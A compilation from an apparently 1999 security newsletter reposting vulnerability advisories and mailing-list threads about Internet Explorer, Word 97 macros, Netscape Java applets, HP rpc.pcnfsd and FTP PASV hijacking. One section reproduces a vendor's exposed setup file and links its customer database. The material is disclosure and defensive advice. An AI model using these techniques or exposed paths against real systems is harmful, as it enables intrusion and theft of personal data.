Javascript. Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski Exploit code ------------ Guninski's IE 4 file reading bug. http://www.geocities.com/ResearchTriangle/1711/read3.html There is a bug in Internet Explorer 4.x (patched) which allows reading local files and sending them to an arbitrary server. The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'. This circumvents "Cross-frame security" and opens several security holes. The filename must be known. The bug may be exploited using HTML mail message. The exploit uses Javascript. For more info see the source. Workaround: Disable Javascript. Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski Exploit Code ------------ Date: Thu, 28 Jan 1999 04:53:31 PST From: Georgi Guninski To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Javascript %01 bug in Internet Explorer There is a Javascript security bug in Internet Explorer 4.x (patched), which circumvents "Cross-frame security" and opens several security holes. The problem is: if you add '%01someURL' after an 'about:somecode' URL, IE thinks that the document is loaded from the domain of 'someURL'. Very strange? Some of the bugs are: 1) IE allows reading local files and sending them to an arbitrary server. The filename must be known. The bug may be exploited using HTML mail message. Demo is available at: http://www.geocities.com/ResearchTriangle/1711/read3.html 2) IE allows "window spoofing". After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site. However, the content of the window is not that of the original site, but it is supplied by the owner of the page. So, the user is misled he is browising a trusted site, while he is browsing a hostile page and may provide sensitive information, such as credit card number. The bug may be exploited using HTML mail message. Demo is available at: http://www.geocities.com/ResearchTriangle/1711/read4.html 3) Reading AUTOEXEC.BAT using TDC. Demo is available at: http://www.geocities.com/ResearchTriangle/1711/read5.html Workaround: Disable Javascript Regards, Georgi Guninski TechnoLogica Ltd, Bulgaria http://www.geocities.com/ResearchTriangle/1711 http://www.whitehats.com/guninski Date: Wed, 27 Jan 1999 14:14:39 +0000 From: Vesselin Bontchev To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: IE 4/5/Outlook + Word 97 security hole Hello folks, This is not a strictly Windows NT issue - it affects Windows 9x users too. However, it is a very important one, so I decided to post about it here. Remember the so-called "Russian New Year" problem in Excel? Forget it; that was peanuts. Exploiting it required substantial knowledge of Excel, Windows programming, and assembly language (because the size of the programs that could be dropped was minimal). Not that uncommon combination, but one requiring at least some level of knowledge and experience from the attacker. This new problem can be exploited much, MUCH easier - and all the attacker has to know is Visual Basic for Applications. Essentially, if you are using Internet Explorer 4.x or 5.x and Word 97 (the beta, the original release, SR-1, or the SR-2 patch), you are vulnerable. Vulnerable, in the sense that just visting a Web page can result in running a hostile VBA program on your machine without any warnings. If, in addition, you are using Outlook (any version of it), you are even more vulnerable - the attacker can run a hostile VBA program on your machine by just sending you an HTML e-mail message. (The hostile program will be run when you just VIEW the message - no need to click on any links.) The hostile program can do just about anything (drop a virus, delete files, steal information) - VBA is an extremely powerful language - and very easily. The problem consists of several parts. The first part is caused by the fact that by default IE 4.x/5.x automatically launches Word/Excel/PowerPoint to view URLs which point to DOC/XLS/PPT files (and all other file extensions for these applications). That is, you are not given the option to save the file to disk instead of opening it. If the file contains hostile macros, these macros could be executed by the respective application. Microsoft "protects" you from such attacks with the so-called built-in macro virus protection of the Office 97 versions of the applications mentioned above. That is, if the document you are trying to open contains any macros, the application will display a warning by default (this can be easily turned off) and will offer you the options to open the document as is, to open it without the macros (the default), or not to open it at all. Please note that this protection is available only in Office 97 - the previous versions of these applications do not have it (except the rare Word 7.0a). But they aren't vulnerable to the attack I am describing anyway. This protection has several problems. First of all, it often causes false positives - it sometimes triggers even when the document does not contain any macros. (I can elaborate when exactly this happens, if there is interest.) This often causes people to turn it off. Second, it doesn't tell you whether the document contains a virus or not - it just warns you about the generic presense of macros. Third, and worst of all, the Word 97 implementation of it contains a serious security hole. When Word 97 opens a document, the built-in macro virus protection checks this document for macros (VBA modules). However, it doesn't perform a similar check on the template this document is based on - and, if this template contains any auto macros, they will be executed when the document based on it is opened. Without any warnings whatsoever. I have discovered and documented this security hole more than two and a half years ago. I have reported it to Microsoft people at several anti-virus conferences. Microsoft did nothing about it - until recently. The third part of the problem is the most substantial one - the part which makes this attack easy to carry out remotely. Normally, I wouldn't have revealed the technical details about it. However, the bad guys have figured it out already - there is at least one Web site which tempts the user to click on a link allegedly containing a "list of sex sites passwords" and which uses this attack to infect the user's machine with a macro virus which infects both Word 97, Excel 97 and PowerPoint 97 documents. :-( So, the third part of the problem is caused by the fact that when specifying the template a Word 97 document is based on, you can specify not just a local file but also an URL. The previous versions of Word do not have this capability, therefore they are not vulnerable to this attack. I had prepared a demonstration of the attack and it seems to have been impressive enough, because Microsoft reacted rather quickly this time - in about a week. They issued a patch which fixed the second part of the problem - with it, the built-in macro virus protection of Word 97 checks for macros not only the document that is being opened but also the template it is based on. Please see Microsoft Security Bulletin: http://www.microsoft.com/security/bulletins/ms99-002.asp Office Update Download Page: http://officeupdate.microsoft.com/downloaddetails/wd97sp.htm for more information. Folks, if you are using IE 4.x/5.x and/or Outlook and Word 97, you _*MUST*_ install this patch! Otherwise your systems are WIDE opened and the security hole is *trivial* to exploit! Note, however, that the patch will install only on Word 97 SR-1 or SR-2. It will *not* install on the original Word 97. If you patch Word 97 SR-1, this will not prevent from patching it later to SR-2. I would also advise you to make the necessary changes so that IE offers you the option to save the remote DOC/DOT files instead of automatically launching Word to view them. In order to do this, start the Explorer (the file explorer, not IE), select View/Options/File Types, find the types Microsoft Word (where stands for Addin, Backup Document, Document, Template, Wizard and anything else you find there), select each one of them in sequence, click on the Edit button and make sure that the checkbox labeled "Confirm Open After Download" (near the bottom of the dialog that appears) is checked. And, in general, do not trust files with executable content received >from dubious sources. Unfortunately, as Microsoft continues to blur the difference between your local hard disk and the Internet, problems like this one will only get worse. :-( I wonder when we'll see another Internet Worm based on a security hole like that... Connectivity is a good thing, but it has to rely on a sound security model - not on a bunch of patched-together last-minute ugly hacks which try to "protect" you by essentially telling you that "you are doing something, are you sure?". Regards, Vesselin -- Vesselin Vladimirov Bontchev, not speaking for FRISK Software International, Postholf 7180, IS-127, Reykjavik, Iceland producers of F-PROT. e-mail: bontchev@complex.is, tel.: +354-561-7273, fax: +354-561-7274 PGP 2.6.2i key fingerprint: E5 FB 30 0C D4 AA AB 44 E5 F7 C3 18 EA 2B AE 4E @HWA 6.1 Netscape 4.5 Bugs ~~~~~~~~~~~~~~~~~ Just to keep things even we came across some Netscape bugs from the uploads are of Packet Storm, so here's the latest NS poop as well; Date: Tue, 2 Feb 1999 13:42:32 -0800 From: Giao Nguyen To: BUGTRAQ@netspace.org Subject: Unsecured server in applets under Netscape Just for kicks, I wrote a sample applet that listened on a socket. I discovered that when the applet was loaded under Netscape (as tested with version 4.5), any hosts could then connect to the machine running this applet. I won't bore anyone with the code because it's so trivial that a novice to Java should be able to write it with ease after reading some documentation. According to Java in a Nutshell, 2nd edition, p. 139: * Untrusted code cannot perform networking operations, exception certain restricted ways. Untrusted code cannot: [...] - Accept network connections on ports less than or equal to 1024 or from any host other than the one from which the code itself was loaded. While the port number restriction is held by the VM, the point of origin restriction is not held at all. I don't feel qualified to comment on the full implication of this but I'm sure more inventive minds can arrive at more interesting uses of this feature. The work around is rather simple. Disable Java runtime in the Netscape browser. As hinted above, Internet Explorer's Java runtime does not exhibit this behaviour. I have contacted Netscape (via some truly useful web pages) but I've not received any responses to the following information. I hope it's useful to someone out there. Giao Nguyen ------------------------------------------------------------------------ Date: Wed, 3 Feb 1999 07:45:13 -0000 From: BVE To: BUGTRAQ@netspace.org Subject: Re: Unsecured server in applets under Netscape Date: Tue, 2 Feb 1999 13:42:32 -0800 From: Giao Nguyen Just for kicks, I wrote a sample applet that listened on a socket. I discovered that when the applet was loaded under Netscape (as tested with version 4.5), any hosts could then connect to the machine running this applet. I won't bore anyone with the code because it's so trivial that a novice to Java should be able to write it with ease after reading some documentation. According to Java in a Nutshell, 2nd edition, p. 139: * Untrusted code cannot perform networking operations, exception certain restricted ways. Untrusted code cannot: [...] - Accept network connections on ports less than or equal to 1024 or from any host other than the one from which the code itself was loaded. While the port number restriction is held by the VM, the point of origin restriction is not held at all. The error in your analysis is most likely that you were running Java code from a class file installed on your local machine, as opposed to one which is downloaded from a web site somewhere. The former is considered "trusted," while the latter is "untrusted." Any class file you've compiled on your local machine will be considered "trusted," and will be allowed to do pretty much anything it wants. Similarly, any class file you've copied to your hard drive, as opposed to downloading from within a web browser, will be considered "trusted." -- -- Bill Van Emburg Quadrix Solutions, Inc. Phone: 732-235-2335, x206 (bve@quadrix.com) Fax: 732-235-2336 (http://quadrix.com) "You do what you want, and if you didn't, you don't" ------------------------------------------------------------------------ Date: Wed, 3 Feb 1999 00:49:10 -0800 From: Giao Nguyen To: BUGTRAQ@netspace.org Subject: Re: Unsecured server in applets under Netscape BVE writes: > > The error in your analysis is most likely that you were running Java code from > a class file installed on your local machine, as opposed to one which is > downloaded from a web site somewhere. The former is considered "trusted," > while the latter is "untrusted." You'd think so. Don't worry. I sat on this bug for two days to verify that I had everything workin right and that I didn't have any funny servers on my favorite port numbers. I tend to use 6969 whenever I want to test something. The first iteration of this worked. I was shocked. A coworker mentioned the exact same thing you did. So I put it on our development server. Loaded the web page. Same result. I then telnet to a machine approximately 3000 miles away on a separate network unrelated to the network I was on. Same result. Just for kicks I got some folks from other companies to help me verify that lunch didn't include liquids which the company might frown upon. Same result. The fact that my test was done on a Windows box and others repeated the tests on a Unix platform confirmed that this was not a Windows + Netscape related problem but that it was indeed a Netscape specific thing. > Any class file you've compiled on your local machine will be considered > "trusted," and will be allowed to do pretty much anything it wants. Similarly, > any class file you've copied to your hard drive, as opposed to downloading from > within a web browser, will be considered "trusted." Yes, CLASSPATH contamination. I am aware of this. To verify that it's not CLASSPATH contamination, I'm putting the sample up at http://www.cafebabe.org/sapplet.html It doesn't do anything other than allow connections to be made. It listens on 6969 btw. Now, the security measures as implemented by Netscape doesn't allow for the equivalence of an accept() call to be made. However, it could present an opportunity for DoS attacks. The source is at http://www.cafebabe.org/Sapplet.java . In retrospect, I think the topic is wrong. It should have been different. The opportunity is still present for those who has a use for such thing. YMMV. Giao Nguyen ------------------------------------------------------------------ [http://www.cafebabe.org/sapplet.html] This page contains an applet listening on port 6969. It doesn't do anything other than that. How useful is it? ------------------------------------------------------------------ ------------------------------------------------------------------ [http://www.cafebabe.org/Sapplet.java] import java.net.*; import java.io.*; import java.applet.*; public class Sapplet extends Applet { ServerSocket s; public void init() { try { s = new ServerSocket(6969); } catch (IOException io) { System.out.println("Well drat, it didn't work."); } } } ------------------------------------------------------------------ ------------------------------------------------------------------------ Date: Wed, 3 Feb 1999 14:51:36 -0500 From: Tramale K. Turner To: BUGTRAQ@netspace.org Subject: Re: Unsecured server in applets under Netscape Confirmed on Netscape 4.5 running on an NT 4 SP 4 box. Loaded up a similar applet on the internal network without standard applet callback methods of stop() or destroy(). Kill the window that opened the applet and the socket remains running (as expected, and only if some other application in the same process space is running). Fun! --Shido Shidoshi@monkey.org @HWA 7.0 The Datalynx Hole ~~~~~~~~~~~~~~~~~ From: http://www.csoft.net/~inn/ Innerpulse News Network DataLynx, Inc is the partner you can rely on Contributed by sw3 Thursday - February 04th, 1999. 02:01PM UTC After reading a L0pht advisory on DataLynx suGuard, I went to their website to download the product to test it myself. In a matter of minutes I could download their whole users database. Personal addresses, e-mails, phone numbers and such. Stupid enough, their Perl sign-up script uses a 'setup file', which is world-readable (the script run off http must read it, I presume). Instead of, oh I don't know, putting the setup files in a web-readable directory, or restricting web access to it. Anyways, it's readable, and that 'setup' file contains locations of, a database, pgp temporary file, other Perl scripts and such. I sent e-mail to the company about it, never got a reply. A setup file ~~~~~~~~~~~~ (From:http://www.dlxguard.com/cgi-bin/Form_processor/Setup_files/infodemo2.setup) Database: http://www.dlxguard.com/cgi-bin/Form_processor/Databases/infodemo2.data Parser: ftp://inn.csoft.net/pub/ar/dlx-parser/parser.pl ####################################################################### # Email Variables # ####################################################################### $should_i_mail = "yes"; $should_i_send_user_email = "no"; $email_of_sender = "sales\@dlxguard.com"; $email_to = "sales\@dlxguard.com"; $email_subject = "Information/Download Request"; ####################################################################### # PGP Variables # ####################################################################### $should_i_use_pgp = "no"; $pgp_lib_path = "./Library/pgp-lib.pl"; $pgp_temp_file_path ="./Temp/pgp-temp-file"; ####################################################################### # Location Variables # ####################################################################### $url_of_the_form = "http://www.dlxguard.com/infodemo2.htm"; $location_of_mail_lib = "./Library/mail-lib.pl"; $location_of_setup_file = "infodemo2.setup"; ####################################################################### # Database Variables # ####################################################################### $should_I_append_a_database = "yes"; $location_of_database = "./Databases/infodemo2.data"; $database_delimiter = ","; ####################################################################### # Defining your Fields # ####################################################################### @form_variables = ("name", "client_email", "title", "company", "address", "city", "state", "zip", "telephone", "fax", "question_os", "testing_schedule", "purchase_schedule", "question_security", "question_referral", "filename", "request_mail_guardian", "request_mail_ntagent", "request_mail_guardian_esl", "request_mail_suguard", "request_mail_auditguard", "request_mail_webguard", "request_mail_scentr", "comments"); %form_variable_name_map = ("name", "Name", "client_email", "E-mail", "title", "Title", "company", "Company", "address", "Address", "city", "City", "state", "State", "zip", "Zip", "telephone", "Telephone", "fax", "Fax", "question_os", "Operating System", "testing_schedule", "Product Evaluation Schedule", "purchase_schedule", "Product Purchase Schedule", "question_security", "Security Concern", "question_referral", "Referral", "filename", "File to download", "request_mail_guardian", "Guardian mail", "request_mail_ntagent", "Guardian agent mail", "request_mail_guardian_esl", "Guardian ESL mail", "request_mail_suguard", "suGuard mail", "request_mail_auditguard", "Auditguard mail", "request_mail_webguard", "Webguard mail", "request_mail_scentr", "Security CeNTer mail", "comments", "Comments"); @required_variables = ( "name", "fax", "title", "company", "address", "city", "state", "telephone", "zip", "question_os", "client_email"); ####################################################################### # MIscellaneous Options # ####################################################################### $should_user_verify = "yes"; $current_century = "20"; ####################################################################### # required_fields_error_message Subroutine # ####################################################################### sub required_fields_error_message { print "Content-type: text/html\n\n\n"; print qq~ Error in Processing Form - Required Fields

I'm sorry, the following fields are required:
    ~; foreach $variable (@required_variables) { print qq~
  • $form_variable_name_map{$variable}~; } print qq~
Please click the "back" button on your browser or click here to go back and make sure you fill out all the required information.

~; } ####################################################################### # cannot_find_database Subroutine # ####################################################################### sub cannot_find_database { print "Content-type: text/html\n\n\n"; print qq~ Form Processing Error - Database Error

I'm sorry, I am having trouble finding the database that this information should be sent to. Please contact Datalynx Webmaster and let us know that there has been a problem. Thank you very much and sorry about the inconvenience.

~; } ####################################################################### # HTML Reply Subroutines # ####################################################################### sub html_reply_header { if ($form_data{'filename'} ne "") { print "Location: ftp://ftp.dlxguard.com/pub/$form_data{'filename'}\n\n"; exit(0); } print "Location: http://www.dlxguard.com/thankyourequest.htm\n\n"; exit(0); } sub html_reply_body { } sub html_reply_footer { } sub display_preexp_screen { print "Content-type: text/html\n\n\n"; print qq~ IMPORTANT NOTICE !
~; foreach $variable (@form_variables) { $form_data{$variable} =~ s/"/"/g; $form_data{$variable} =~ s/\/>/g; $form_data{$variable} =~ s/\n/\/g; print qq~ ~; } print qq~

   IMPORTANT NOTICE !

Please make sure your browser knows that a file with a '.Z' extension is a binary file. If you have any questions about this, please call our support department at (619) 560-8112.
All evaluation software available to download from this site is secured for authorized use only. A license code must be obtained prior to use for evaluation or after purchase. An evaluation key will be valid for THIRTY (30) days after which you must purchase in order to continue use.

In most cases you will receive new license codes within 24 hours. Be sure to include the original keycodes in your email. Directions for obtaining these codes are shown below.

If you are installing GUARDIAN: If you are installing suGUARD:

To install the software on your system:

  1. Uncompress the file you have downloaded
  2. Extract these files using 'tar':
    ·  install.guardian
    ·  GD_RELEASE_NOTICE.txt
  3. Use the instructions in the release notice to install the software on your system
  4. Login to your 'root' account
  5. Enter the following commands:
    ·  cd   /bin/datalynx
    ·  guardian   -i

You should see the following:

GUARDIAN: Software Installation Program.
Copyright (c) Datalynx, Inc., 1994-6
Current GUARDIAN security values are:
1: xxxxxxxx
2: xxxxxxxx
3: xxxxxxxx

Please call DataLynx or your authorized representative for instructions on installing your software.

Enter new keycode 1:    0

Entering a zero for 'keycode 1' will exit the program.

e-mail the current values to DataLynx. When you receive your new codes, redo steps 4 and 5 and enter these values.

To install the software on your system:

  1. Uncompress the file you have downloaded
  2. Extract these files using 'tar':
    ·  install.suguard
    ·  SG_RELEASE_NOTICE.txt
  3. Use the instructions in the release notice to install the software on your system
  4. Login to your 'root' account
  5. Enter the following commands:
    6. ·  cd   /bin/datalynx/suguard.dir
    ·  suguard   -i

You should see the following:

suGUARD: Software Installation Program.
Copyright (c) DataLynx Inc., 1996
Current suGUARD security values are:
1:xxxxxxxx
2: xxxxxxxx
3: xxxxxxxx

Please call DataLynx or your authorized representative for instructions on installing your software.

Enter new keycode 1:     0

Entering a zero for 'keycode 1' will exit the program.

e-mail the current values to DataLynx. When you receive your new codes, redo steps 4 and 5 and enter these values.

~; } ####################################################################### # display_eula Subroutines # ####################################################################### sub display_eula_screen { print "Content-type: text/html\n\n\n"; print qq~ webeval
~; foreach $variable (@form_variables) { $form_data{$variable} =~ s/"/"/g; $form_data{$variable} =~ s/\/>/g; $form_data{$variable} =~ s/\n/\/g; print qq~ ~; } print qq~

DataLynx, Inc. Software Evaluation Agreement

 

This DataLynx, Inc. Software Evaluation Agreement ("Agreement") by and between DataLynx, Inc., a California corporation ("DataLynx, Inc." or "Licensor") having its principal offices at 6633 Convoy Court, San Diego, CA 92111 USA, and ("Licensee"), and any person or Corporation who evaluates Licensor's products sets forth the terms and conditions under which Licensee may use the evaluation computer software ("Program"), Manuals, and other system documentation (collectively, "Documentation") currently available from DataLynx, Inc. for the Program.

1. Scope of Use. Licensee may:

A. Install and use the Program only at Licensee's own facility and only for the purpose of evaluating its effectiveness and suitability for Licensee's internal business activities;

B. Make one copy of the Program for said purposes; and

C. Use the documentation only in conjunction with installation and use of the Program for the stated purpose.

D. Licensee agrees not to rely on Program in any way that may affect Licensee's normal business operations.

E. Licensee may only use the evaluation program and documentation as set forth above and licensee's rights are not transferable.

2. Term.

A. Licensee may use the Program and Documentation for 30 days after receipt, unless terminated sooner hereunder. Within a reasonable time after the conclusion of the evaluation period, Licensee must remove the Program and Documentation files from Licensee's computer system unless Licensee agrees with DataLynx, Inc. to acquire a license to use the Program on an on-going basis.

3. Proprietary Protection.

A. Licensee acknowledges that DataLynx, Inc. claims it has sole and exclusive ownership of all right, title, and interest in and to the Program and Documentation (including all Trade Secrets pertaining thereto), subject only to the rights and privileges expressly granted by DataLynx, Inc.. This Agreement does not provide Licensee with Title or ownership of the Program or Documentation, but only a right of limited use.

B. The Program and Documentation, and the Trade Secrets contained therein (collectively, the "Proprietary Information"), are commercially valuable, proprietary products of DataLynx, Inc., which are treated by DataLynx, Inc. as confidential. DataLynx, Inc. has entrusted the Proprietary Information to Licensee in confidence to use only as expressly authorized. As used herein, Trade Secrets include any scientific or technical information, concept, design, process, procedure, formula, or improvement that is commercially valuable and secret (in the sense that its confidentiality affords DataLynx, Inc. a competitive advantage over its competitors).

C. Exceptions to Proprietary Information. The obligations of confidentiality and restriction on use in Section B shall not apply to any Proprietary Information that: (i) was in the public domain prior to the date of this Agreement or subsequently came into the public domain through no fault of the Licensee; or (ii) was lawfully received by Licensee from a third party free of any obligation of confidence to the third party; or (iii) was already in Licensee's possession prior to receipt from Licensor; or (iv) is required to be disclosed in a judicial or administrative proceeding after all reasonable legal remedies for maintaining such information in confidence have been exhausted; or (v) is subsequently and independently developed by Licensee's employees, consultants, or agents without reference to Proprietary Information.

D. The Licensor claims and reserves to itself all rights and benefits afforded under U.S. copyright law and all International copyright conventions in the Program and Documentation. Portions of the Program may be covered by applications for patents in the U.S. and elsewhere.

E. Licensee may not, at any time, disclose or disseminate all or any part of the Proprietary Information to any third party. Licensee may not "unlock" or "reverse engineer" the code of the Program, as the terms are generally used in the trade. Licensee will ensure that all Licensee's personnel afforded access to the Proprietary Information shall take all reasonable precautions to protect it against improper use, dissemination, or disclosure.

F. Licensee acknowledges that, in the event of the Licensee's breach of any of the foregoing provisions, DataLynx, Inc. will not have an adequate remedy in money or damages. DataLynx, Inc. shall therefore be entitled to seek an injunction against such breach from any court of competent jurisdiction immediately upon such breach. DataLynx, Inc.'s right to obtain injunctive relief shall not limit its right to seek further remedies.

G. The Licensee shall devote its best efforts, consistent with the practices and procedures under which it protects its own most valuable proprietary information and materials, to protect the Program and Documentation against any unauthorized or unlawful use or copying.

H. The Licensee shall make no hard copies of the Program or associated documentation, and may store Program in memory only as may be necessary for the normal operation of the Program on one CPU for use on one terminal.

I. Licensee's obligations hereunder to protect DataLynx, Inc.'s Proprietary Information shall survive the evaluation period and remain in effect for so long as DataLynx, Inc. is entitled to protection of its rights in the Program and Documentation under applicable law.

4. Warranties.

A. The Licensor warranties that it has the right to enter into this Agreement and fully perform all obligations undertaken in this Agreement.

B. The licensor disclaims any and all promises, representations, and warranties, except as expressly set forth in this agreement, with respect to any data, information, or other material furnished to the Licensee hereunder, including their condition; conformity to any representation or description; the existence of any latent or patent defects; and title, merchantability, or fitness for a particular purpose or use.

C. in no event shall the licensor be liable to the licensee for any loss of profits; any incidental, special, exemplary, or consequential damages; or any claims or demands brought against the licensor even if the licensor has been advised of the possibility of such damages.

5. Indemnification.

A. If a third party claims that the Licensed Program infringes its patent, copyright, or trade secret, or any similar intellectual property right, Licensor will defend Licensee against that claim at Licensor's expense and pay all damages that a court finally awards, provided that Licensee promptly notifies Licensor in writing of the claim, and allows Licensor to control, and cooperate with Licensor in, the defense or any related settlement negotiations. However, Licensor has no obligation for any claim based on Licensee's modification of the Licensed Program or its combination, operation, or use with any product, data, or apparatus not specified or provided by Licensor, provided that such claim solely and necessarily is based on such combination, operation, or use and such claim would be avoided by combination, operation, or use with products, data, or apparatus specified or provided by Licensor. this paragraph states licensor's entire obligation to licensee with respect to any claim of infringement.

6. Miscellaneous.

A. Licensee may not sell, assign or otherwise transfer any right or obligation hereunder without the prior written consent of DataLynx, Inc.. The Agreement shall be governed and construed according to the laws of the State of California, and shall be effective on the date last written below.

B. This Agreement constitutes the entire agreement of the parties hereto and supersedes all prior representations, proposals, discussions, and communications, whether oral or in writing. This Agreement may be modified or amended only with the prior written consent of authorized representatives of both parties.

C. If the Program will run on computers located outside the United States, Licensee is responsible for meeting all import requirements for cryptography in the country of operation.

 By clicking the "I Agree" button below, I accept and approve of the above Software Evaluation Agreement


Copyright © 1997 DataLynx, Inc. All rights reserved.
Revised: August 1, 1997.

 
~; } ####################################################################### # display_verification_screen Subroutines # ####################################################################### sub display_verification_screen { print "Content-type: text/html\n\n\n"; print qq~ Form Verification Screen ~; ##################################################################################################### # Added by JOB - If a file was chosen to be downloaded we must display the EULA (license agreement) # # otherwise we can just continue with the form_processor. # ##################################################################################################### if ($form_data{'filename'} eq "") { print qq~
~; } if ($form_data{'filename'} ne "") { print qq~ ~; } foreach $variable (@form_variables) { $form_data{$variable} =~ s/"/"/g; $form_data{$variable} =~ s/\/>/g; $form_data{$variable} =~ s/\n/\/g; print qq~ ~; } print qq~

You submitted the following information: ~; foreach $variable (@form_variables) { print qq~ ~; } print qq~
$form_variable_name_map{$variable} $form_data{$variable}
~; } @HWA 8.0 Mailzone ~~~~~~~~ The Linux Penguins, Live on stage! penguin cam http://www.montrealcam.com/en-biodome.html Seen on slashdot ... http://www.slashdot.org/ ***** MAILZONE ************************************************************ * RECENT BUGTRAQ/LIST TRAFFIC/EXPLOIT CODE * *************************************************************************** "... as the Bell helmet company used to advertise a long time ago, You put a $10 helmet on a $10 head. " Digest Name: Daily Security Bulletins Digest Created: Mon Feb 8 3:00:02 PST 1999 Table of Contents: Document ID Title --------------- ----------- HPSBUX9902-091 Security Vulnerability with rpc.pcnfsd The documents are listed below. ------------------------------------------------------------------------------- Document ID: HPSBUX9902-091 Date Loaded: 19990207 Title: Security Vulnerability with rpc.pcnfsd ------------------------------------------------------------------------- HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00091, 08 Febraury 1999 ------------------------------------------------------------------------- The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. ------------------------------------------------------------------------- PROBLEM: rpc.pcnfsd has an error in its use of the spool directory PLATFORM: HP 9000 series 700/800. DAMAGE: Remote and local users can compromise root access. SOLUTION: Install _all_ applicable patches listed below. Reboot required. AVAILABILITY: All patches are available now. ------------------------------------------------------------------------- I. A. Background rpc.pcnfsd is a remote procedure call used by NFS clients which is a service providing username and password authentication for system which have NFS client software installed. If exploited, this defect allows the main printer spool directory used by rpc.pcnfsd to be made world writeable. B. Fixing the problem This involves installing a series of patches which require rebooting the system. The main patch requires a libc patch, which in turn requires a kernal patch. For HP-UX 10.01: PHNE_17248 For HP-UX 10.10: PHNE_17248 For HP-UX 10.20: PHNE_17098 For HP-UX 11.00: PHNE_16470 The following sets of patches will need to be installed to resolve all the documented patch dependencies. The dependencies will be satisfied by the patches listed, or any patch that supersedes them: s700 10.01: PHNE_17248, PHKL_7059, PHCO_14253; s800 10.01: PHNE_17248, PHKL_7060, PHCO_14253; s700 10.10: PHNE_17248, PHKL_8292, PHCO_14254; s800 10.10: PHNE_17248, PHKL_8293, PHCO_14254; s700 10.20: PHNE_17098, PHKL_9155, PHKL_16750, PHCO_13777, PHCO_12922, PHCO_17389, PHNE_16237, PHKL_16959, PHKL_17012, PHKL_17253, PHKL_12007; s800 10.20: PHNE_17098, PHKL_9156, PHKL_16751, PHCO_13777, PHCO_12922, PHCO_17389, PHNE_17097, PHKL_16957, PHKL_17013, PHKL_17254, PHKL_12008; s700 11.00: PHNE_16470, PHCO_16629, PHKL_15689, PHCO_14625; s800 11.00: PHNE_16470, PHCO_16629, PHKL_15689, PHCO_14625. NOTE: This problem is fixed fully in HP-UX release 11.01. ///////////////////////////////////////////////////////////////////////////////// To: BUGTRAQ@netspace.org Subject: A warning about training from se7en and NDI to all security professionals From: Mixmaster To: aaa-list@lists.netlink.co.uk > I am rep. from newdimensions I'm sorry but I have taken one of the New Dimensions programs on computer security and I am glad that I wasn't in the private sector paying for this program, I work in a security department of a large American miltary/industrial corporation and I wasn't too taken by the instructors, This one asian girl was almost reading off of cue cards it was that bad, She knew as about hacking and securing networks as I did brain surgery, and I was promised in the mailing I got from my boss, Route of Phrack fame and got some hacker I never heard of called se7en? I was really there to hear Route, and I was *VERY* disappointed! The study guide was ripped not so cleanly from 'Maxinum Internet Security' and covered topics I would have expected in a course teaching 'fresh newbies' to Internet security. Not the hardended program in getting tough with hackers like I was promised. I doubt that most of you would be willing to pay the $1295 for the same course I got, and wasn't too pleased with, I learned more from the others attending the class than from the instructors, You can find better courses from attending BlackHat or Defcon than this. I should also mention that I have lurked on this list for some time and know that DUECE3815 has a hard enough time forming complete sentences let alone selling all of you on computer security courses, But as the Bell helmet company used to advertise a long time ago, You put a $10 helmet on a $10 head. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com Delivered-To: nt-out-link@iss.net Received: (qmail 23021 invoked by alias); 2 Feb 1999 20:34:49 -0000 Delivered-To: nt-out@iss.net Received: (qmail 22893 invoked by uid 15); 2 Feb 1999 20:34:45 -0000 Received: (qmail 22855 invoked from network); 2 Feb 1999 20:34:42 -0000 Received: from loki.iss.net (root@208.21.0.3) by phoenix.iss.net with SMTP; 2 Feb 1999 20:34:42 -0000 Received: from arden.iss.net (nt-mod@arden.iss.net [208.21.0.8]) by loki.iss.net (8.8.7/8.7.3) with ESMTP id PAA23494 for ; Tue, 2 Feb 1999 15:33:12 -0500 Received: (from nt-mod@localhost) by arden.iss.net (8.8.5/8.7.3) id PAA26652 for ntsecurity@iss.net; Tue, 2 Feb 1999 15:34:37 -0500 Received: (qmail 9725 invoked from network); 2 Feb 1999 17:37:58 -0000 Received: from loki.iss.net (root@208.21.0.3) by phoenix.iss.net with SMTP; 2 Feb 1999 17:37:58 -0000 Received: from send501.yahoomail.com (web504.yahoomail.com [128.11.68.71]) by loki.iss.net (8.8.7/8.7.3) with SMTP id MAA08342 for ; Tue, 2 Feb 1999 12:36:29 -0500 Message-ID: <19990202173911.7840.rocketmail@send501.yahoomail.com> Received: from [170.12.25.93] by web504.yahoomail.com; Tue, 02 Feb 1999 09:39:11 PST Date: Tue, 2 Feb 1999 09:39:11 -0800 (PST) From: loose goose Subject: [NTSEC] New Exploit - FTP PASV "Pizza Thief" Exploit To: ntsecurity@iss.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ntsecurity@iss.net Precedence: bulk Reply-To: loose goose X-Loop: ntsecurity X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net Contact ntsecurity-owner@iss.net for help with any problems! --------------------------------------------------------------------------- InfoWar Security Advisory #01 (http://www.infowar.com) February 1st, 1999 FTP PASV "Pizza Thief" Exploit Author: Jeffrey R. Gerber PROBLEM: Legitimate FTP clients may experience Denial of Service and rogue FTP clients may obtain unauthorized access to data. PLATFORM: All operating systems. All FTP clients and FTP servers affected. DAMAGE: Data loss, data corruption, and denial of service. SOLUTION: Proposed solutions follow at the end of this document. VULNERABILITY ASSESSMENT: Risk is medium. The ability for this attack to be performed is not 100% guaranteed. The higher the volume of traffic an FTP server sees, the higher the potential for a successful attack. This attack has not yet been observed in the wild. Synopsis: The Pizza Thief exploit relies on the FTP Passive (PASV) mode of operation. When a client connects to a server using the PASV mode, the server opens a port for data transfer to the client. As observed on all tested FTP servers, any client other than the legitimate client may just as equally connect to the allocated data port. Typical behavior is that the first client to connect to the data port gets the data. Any following connections from other clients (including the legitimate client) will either be rejected or connect without reception of data. 